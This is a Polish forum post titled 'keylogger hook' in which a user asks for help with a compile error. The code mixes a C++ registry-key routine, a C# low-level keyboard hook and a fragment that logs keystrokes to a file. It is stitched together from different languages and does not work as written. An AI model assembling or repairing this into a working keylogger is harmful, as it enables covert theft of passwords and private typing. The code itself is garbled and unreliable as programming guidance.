keylogger hook

sm950

Użytkownik
Dołączył
Sierpień 8, 2012
Posty
62
Witam co sądzicie o takim kodzie:

Kod:
#define _WIN32_WINNT 0x0500

#include <iostream>
#include <fstream>       // biblioteki
#include <windows.h>
#include <string>
#include <cstdio>

using namespace std;


ofstream out("logi.txt", ios::out);

INT WINAPI WinMain(HINSTANCE hInst,HINSTANCE,LPSTR lStart,INT nShow)
 {
   HKEY klucz; //uchwyt do tworzonego klucza
   LONG Wynik; //wynik funkcji RegCreateKeyEx
   DWORD Nowy; //wartość na sprawdzenie czy został utworzony nowy klucz
   Wynik=RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Nasz program",0,0,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,   0,&klucz,&Nowy);
   if(Wynik==ERROR_SUCCESS)
   {
     MessageBox(HWND_DESKTOP,"Funkcja wykonała się prawidłowo","Sukces",MB_OK);
     RegCloseKey(klucz); //zamkniecie klucza - o tym dalej
     if(Nowy==REG_CREATED_NEW_KEY) MessageBox(0,"Została utworzony nowy klucz","Nowy klucz",MB_OK);
     else MessageBox(HWND_DESKTOP,"Został otwarty stary klucz","Stary klucz",MB_OK);
     return 0;
   }
   else MessageBox(HWND_DESKTOP,"Funkcja nie wykonała się prawidłowo","Błąd",MB_OK);
   return 0;
 }



private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
    if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
    {
        KBDLLHOOKSTRUCT replacementKey = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));   //instalacja hooka na klawiature
replacementKey.vkCode = 90; // char 'Z'
Marshal.StructureToPtr(replacementKey, lParam, false);
    }

    return CallNextHookEx(_hookID, nCode, wParam, lParam);
}


			// Invisible keys
			case VK_CAPITAL:	out << "<CAPLOCK>";		break;
			case VK_SHIFT:		out << "<SHIFT>";		break;
			case VK_LCONTROL:	out << "<LCTRL>";		break;
			case VK_RCONTROL:	out << "<RCTRL>";		break;
			case VK_INSERT:		out << "<INSERT>";		break;
			case VK_END:		out << "<END>";			break;
			case VK_PRINT:		out << "<PRINT>";		break;
			case VK_DELETE:		out << "<DEL>";			break;
			case VK_BACK:		out << "<BK>";			break;

			case VK_LEFT:		out << "<LEFT>";		break;
			case VK_RIGHT:		out << "<RIGHT>";		break;
			case VK_UP:			out << "<UP>";			break;
			case VK_DOWN:		out << "<DOWN>";		break;

			// Visible keys
			default:
				out << char(tolower(p->vkCode));



    return CallNextHookEx(NULL,code,wParam,lParam); //zakończenie
		}


tylko co w tym kodzie jest źle w tej lijnice bo wywali mi 1 błąd tutaj:
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)

http://screenshooter.net/7415593/ekbsjqx
 
Do góry Bottom